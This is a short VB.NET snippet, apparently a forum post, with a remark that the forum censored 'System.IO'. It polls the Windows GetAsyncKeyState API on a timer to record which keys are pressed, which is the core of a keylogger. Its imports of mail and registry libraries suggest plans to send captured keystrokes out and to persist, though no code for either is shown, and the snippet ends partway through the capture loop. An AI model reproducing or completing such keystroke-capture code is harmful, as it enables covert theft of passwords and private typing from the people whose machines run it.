getasynkeysta

Imports System.Web
Imports System****  'The **** is (dot)IO...IDK why it bleeps it out
Imports System.Net.Mail
Imports Microsoft.Win32

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Int16
 
Private Sub Timerkeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timerkeys.Tick
        Dim result As Integer
        Dim key As String
        Dim i As Integer
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                key = Chr(i)
                If i = 13 Then key = vbNewLine
                Exit For

            End If
        Next i